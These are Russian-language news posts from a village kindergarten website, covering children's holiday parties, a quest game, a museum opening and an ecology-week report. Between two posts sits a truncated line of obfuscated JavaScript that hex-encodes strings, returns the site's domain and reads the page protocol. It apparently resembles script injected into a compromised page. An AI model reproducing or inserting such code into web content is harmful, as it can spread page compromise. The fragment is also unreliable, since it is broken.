27 сентября в нашем детском саду прошел утренник посвященный ДНЮ ДОШКОЛЬНОГО РАБОТНИКА. Дети пели частушки, рассказывали стихи, танцевали и пели песни для работников детского сада. Очень понравилось заинтересованность детей и их стремление участвовать в этом празднике. Дети воспринимали себя полноценными участниками представления. Сотрудники и дети остались очень довольны праздником. Спасибо большое музыкальному руководителю, Светлане Николаевне, за такой прекрасный утренник! Вот ссылка на наш праздник http://mdou-lidoga.obrnan.ru/fotogalereya/utrennik-den-doshkolnogo-rabotnika
Веселый утренник «День знаний»
Седьмого сентября в МАДОУ «Детский сад с. Лидога» состоялся праздник, посвященный Дню Знаний. Приглашены были дети средней, старшей и подготовительной групп. Вместе с гостями праздника – сказочными персонажами котом Леопольдом и Бабой Ягой, ребята танцевали, отгадывали загадки, читали стихи, участвовали в эстафетах, веселились. Гости праздника подарили детям подарки и сфотографировались на память.
Небольшой фото — отчет можно посмотреть здесь ⇒ http://mdou-lidoga.obrnan.ru/fotogalereya/den-znaniy
Подготовила запись, воспитатель: Павленко Е.Н.
День защитников Отечества.
Сегодня, в нашем детском саду, прошли развлечения ко дню защитников Отечества. Но, это были не простые развлечения, а в виде квест-игры! Так как важнейшими элементами квест-игры являются повествование и постановка проблем, то ключевую роль в игровом процессе играют решение головоломок и задач. Вот и наша квест — игра была основана на этом. В начале дети в музыкальном зале прошли маршем, пели песни, танцевали, рассказывали стихи и, конечно же, подкрепились солдатской кашей. Затем дружно пошли на улицу. Там их уже ожидали Ясон и Амазонка. Они рассказали детям о древнегреческих героях и предложили зайти на корабль, чтобы отправиться в плаванье по истории… Переплывали с одного острова на другой, и везде их ждало испытание. Они сумели победить Гидру, Горгону. Прошли тяжелое испытание с помощью пояса Ипполиты. Добрались до лабиринта Минитавра. Но и его дети не испугались, потому что Ариадна со своей золотой нитью сумела вывести их из лабиринта. А по дороге нашли «золотое руно». Кажется, кончилось их испытание, но не тут то было… Корабль Ясона вмерз во льды, как вернуться домой? Но и тут, дети нашли выход. Самые смелые и ловкие, растопили лед своей жаркой игрой в хоккей.
В группу дети зашли утомленные но непобедимые! Сколько впечатлений, эмоций, рассказов услышали родители, придя вечером за своими чадами. Все дружно решили — чаще практиковать квест-игру!
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "mdou-lidoga.obrnan.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
Автопробег в честь 70 летия ПОБЕДЫ
Вчера, 23 апреля, в нашем селе останавливались участники автопробега в честь 70 летия ПОБЕДЫ над фашистской Германией. Подготовительная группа, с целью воспитания чувства патриотизма, тоже посетила митинг. Они с большой серьезностью отнеслись к данному мероприятию. Они, как маленькие патриоты своей Родины, стойко и торжественно выстояли минуту молчания. После, долго обсуждали этот митинг и были горды тем, что присутствовали на таком серьёзном мероприятии.
«В гостях у Евражки»
Открытие музея «В гостях у Евражки»
Дошкольнику о музейной культуре.
Слово «музей» в переводе с греческого museion означает храм, в котором живут музы.
24 января 2014 музы поселились и в детском саду Лидогинского сельского поселения.
В нашем музее нет ковровых дорожек и дорогих паркетов, здесь не предложат специальную музейную обувь. Экскурсанты шумные и не умеющие скрывать свои эмоции. Самый главный способ обследования музейных экспонатов у них — это скорее взять в руки, погладить, а уже потом внимательно рассмотреть удивительного пришельца.
Создание музейных экспозиций тесно связано с частным коллекционированием. Первыми экспонатами нашего музея стали веточки, корни, коряги которые после незначительной обработки автора-Колосова О.А. превратились в птиц, оленей, таинственных героев, пришедших из сказочного леса. А пригласил этих лесных обитателей на встречу с детьми герой нанайской сказки «Евражка». Теперь «Евражка»-экскурсовод, будет помогать воспитателям детского сада, знакомить детей с предметами быта, декоративно-прикладного искусства народов НАНИ, национальными традициями. Дети познакомятся с произведениями Дальневосточных писателей и художников.
Интересной формой ознакомления детей с экспозициями музея является музейный урок или занятие. Занятие в музее проводится с целью усвоения детьми знаний по определенной теме. При этом музейные экспонаты выступают как наглядные источники знаний. В ходе занятия педагог широко использует игровые приемы: воображаемые путешествия по времени, игры-имитации, эскизы вещественных источников для последующего творческого воссоздания и т.п. в рамках такого занятия могут проводиться музейные викторины, конкурсы, олимпиады. Целесообразно использовать театрализацию, это позволит закрепить материал в яркой художественной форме. Подготовка инсценировок стимулирует познавательную потребность ребенка.
Музейные праздники – это комплексная форма работы, включающая элементы театрализации, экскурсии, музыкально-литературные композиции, викторины и пр.
Мы надеемся, что у нашего музея появятся свои традиции и поклонники.
Наши фото — зарисовки открытия музея.
Ст. воспитатель: Пильщикова Елена Алексеевна
Отчёт о проведении тематической недели экологического образования «Жить в согласии с природой»
На основании приказа № 459 от 17 сентября 2013 года в детском саду с 23.09 по 27.09 была проведена тематическая неделя экологического образования
«Жить в согласии с природой».
|
Возрастная группа |
Воспитатели |
Мероприятия |
| 1 младшая | Цаплина А.Л.Старкина Н.Н. | 1. Прогулка: «Листопад, листопад, листья желтые летят….».Цель: Показать детям многообразие красок золотой осени; раскрыть новое понятие «листопад».
2. Присутствовали: — в старшей группе на экологической викторине «Амур — батюшка»; — в подготовительной группе на развлечении по сказке «Евражка». 3. Присутствовали в закладке «Заповедного парка» где будет мини- музей Нанайской культуры под открытым небом. 4. Провели беседу: «Как нужно заботиться о домашних животных ?». Цель: Развивать у детей интерес к животным, формировать доброжелательное отношение к ним. 5. Организовали выставку детских рисунков «Золотая осень».
|
| Средняя группа | Григорьева О.С.Крылова Т.А. |
|
| Старшая группа | Минина И.В.Абрамова Л.И. |
Цель: формирование представлений о жизни рыб; научить детей беречь и охранять природу.
4. Наблюдение во время экскурсии «Река родная». Дети вспоминали, какой речка была весной и летом. Провели сравнительный анализ об изменениях в природе. Вспомнили правило поведения около водоемов. 5. Просмотр поставленной, подготовительной группой, сказки «Евражка — богатырь». 6. Провели экологическую викторину « Амур-батюшка». Цель: развитие познавательной, творческой и общественной активности детей. 7. Организованы выставки рисунков для родителей: «Родная природа», «Рыбы Амура». 8. Изготовили с детьми разрезные картинки на тему «Рыбы». 9. Провели субботник по уборке территории детского сада. Цель: воспитание бережного отношения к природе, формирование у детей представления о взаимопомощи, дружбе, вызывать желание оказывать посильную помощь друг другу. 10. С помощью родителей заложили «Заповедный парк», где посадили различные породы деревьев, трав и кустарников. В этом парке, под открытым небом, мы собираемся создать мини — музей нанайской культуры. Главная задача этого парка — пробудить любовь к природе, здесь дети смогут глубже и на наглядной основе изучать, любить и беречь природу, будут учиться оценивать воздействие человека на природу, будет воспитываться экологическая культура поведения детей, как часть общей культуры, взаимоотношений людей друг с другом и отношение человека к природе; познакомить детей с культурой нанайского народа, с предметами быта, одежды, домашней утвари, орудий труда.
|
| Подгото-вительная группа | Пильщикова Е.А.Машкина С.В. |
Цель: формирование познавательного интереса к родному краю, его природе, реке Амур.
— дидактические игры: «Рыбы реки Амур», «Хорошо-плохо», «Разрезные картинки», «Найди отличия», «Силуэтные картинки», «Угадай, чья тень?», «Что правильно нарисовал художник?», «Четвёртый лишний», «Расшифруй амурских рыб»; — лабиринты: «Помоги красноперке спрятаться от щуки», «Покорми карасика»; — кроссворды об амурских рыбах. 7. Рассматривали иллюстрации и картины с изображением реки Амур. 8. Провели НОД: «Великий Амур-батюшка», «Подводные жители реки Амур», «Амур – природное сообщество», «Человек и Амур». 9. Приняли участие в выставке рисунка «Амур-батюшка». 10. В творческой мастерской из соленого теста лепили «Золотую рыбку». 11. Разучили подвижные игры: «Рыбы», «Рыбаки и рыбки», «Ловись, рыбка», «Водяной». 12. Приняли участие в медиа-путешествии «Ход лосося на нерест». 13. Организовали экскурсию к реке, где дети познакомились с трудом рыбаков и закрепили знания о речных рыбах. 14. Провели викторину «Амур-батюшка». 15. Провели развлечение «Евражка-богатырь». 16. Совместно с родителями оформили «Красную книгу Хабаровского края». 17. На территории ДОУ заложили «Заповедный парк».
|
